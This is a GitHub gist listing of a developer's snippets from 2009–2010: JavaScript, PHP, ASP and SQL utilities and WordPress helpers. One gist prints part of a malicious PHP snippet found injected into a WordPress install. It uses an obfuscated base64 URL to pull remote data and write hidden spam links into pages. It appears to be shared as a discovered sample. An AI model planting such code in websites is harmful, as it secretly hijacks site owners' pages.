Skip to content

Instantly share code, notes, and snippets.

💭
🤖

Joe Crawford artlung

💭
🤖
View GitHub Profile
@artlung
artlung / equation.js
Created Sep 10, 2009
A chainable calculator
View equation.js
// A chainable little calculator thingy.
var equation = {
i:0,
_int:function(x){
return parseInt(x,10);
},
set:function(x){
this.i = this._int(x);
return this;
View Onload-Event-ArtLung-Rosetta.html
<script type="text/javascript">
/**
* Several different ways to calls an onload event
* first up, here's a function we will call using all the methods
*/
function artlungOnload() {
alert('The body of the document has loaded');
}
</script>
@artlung
artlung / sitemap.xml.php
Created Oct 14, 2009
Generate XML sitemap from list of urls
View sitemap.xml.php
<?php
/**
*
* This is a quick way to turn a simple text file
* with a list of urls in a text file (sitemap-urls.txt)
* into a valid XML Sitemap:
* http://en.wikipedia.org/wiki/Sitemaps
* Put this file sitemap.xml.php and sitemap-urls.txt at
* the webroot http://example.com/sitemap.xml.php
@artlung
artlung / asp-counter-script.asp.vb
Created Nov 2, 2009
ASP Counter, vintage 2004
View asp-counter-script.asp.vb
<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>
<%
REM From joe@artlung.com Fri Jan 16 01:47:57 2004
REM Date: Thu, 15 Jan 2004 19:52:03 -0500 (EST)
REM From: Joe Crawford <joe@artlung.com>
REM To: Joe Crawford <joe@artlung.com>
REM Subject: ASP counter
REM include this file with
@artlung
artlung / found-injected-into-wordpress-2009-may-13.php
Created Nov 2, 2009
Found injected into a WordPress install, May 13, 2009
View found-injected-into-wordpress-2009-may-13.php
<?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8xNQ==';
$blarr=get_option('cache_vars');
if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.txt'));
update_option('cache_vars',$blarr);
} $blarr=unserialize(base64_decode(get_option('cache_vars')));
if($blarr['hide_text']!='' && sizeof($blarr['links'])>0){ if($blarr['random']){ $new='';
foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k];
$blarr['links']=$new;
} $txt_out='';
foreach($blarr['links'] as $k=>$v) $txt_out.='<a href="'.$v.'">'.$k.'</a>';
@artlung
artlung / renumber-primary-keys.sql
Created Jan 22, 2010
Renumber the keys of MySQL table
View renumber-primary-keys.sql
-- Let's say you had a table fruit
CREATE TABLE IF NOT EXISTS `fruit` (
`id` int(11) NOT NULL auto_increment,
`blah` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
);
-- Then you populate it, and delete some rows:
-- id, blah
View RANDOM_CSS_javascript.html
<!-- this will print one of these:
<link rel="stylesheet" type="text/css" href="css/bk1.css" />
<link rel="stylesheet" type="text/css" href="css/bk2.css" />
<link rel="stylesheet" type="text/css" href="css/bk3.css" />
<link rel="stylesheet" type="text/css" href="css/bk4.css" />
<link rel="stylesheet" type="text/css" href="css/bk5.css" />
<link rel="stylesheet" type="text/css" href="css/bk6.css" /> -->
<script type="text/javascript" src="RANDOM_CSS_javascript.js"></script>
<script type="text/javascript">
RANDOM_CSS.printlinktag();
@artlung
artlung / Most Recent Post.php
Created Feb 11, 2010
Most Recent Post with Snippet
View Most Recent Post.php
<?php
// include trailing slash
$path_to_wordpress_folder = '../wordpress/';
/*
Does someone have a WP plug-in or snippet so that the most recent post on WP
can be seen on a different php page? In this case the homepage.
I'd actually just like a snippet to be seen, not the whole post.
*/
// Learn to use http://codex.wordpress.org/Template_Tags/get_posts
View PrintCurlVersion.php
<?php
header('Content-Type: text/plain');
print_r( curl_version() );
exit(); print_r($_SERVER);
?>
@artlung
artlung / for-wp-archives.php
Created Feb 13, 2010
WordPress Archives Pages Code with no post limit.
View for-wp-archives.php
<?php
if (is_month()) {
$request = explode('/', $_SERVER['REQUEST_URI']);
$year = $request[2];
$month = $request[3];
query_posts( 'posts_per_page=-1' . '&year=' . $year . '&monthnum=' . $month );
}
You can’t perform that action at this time.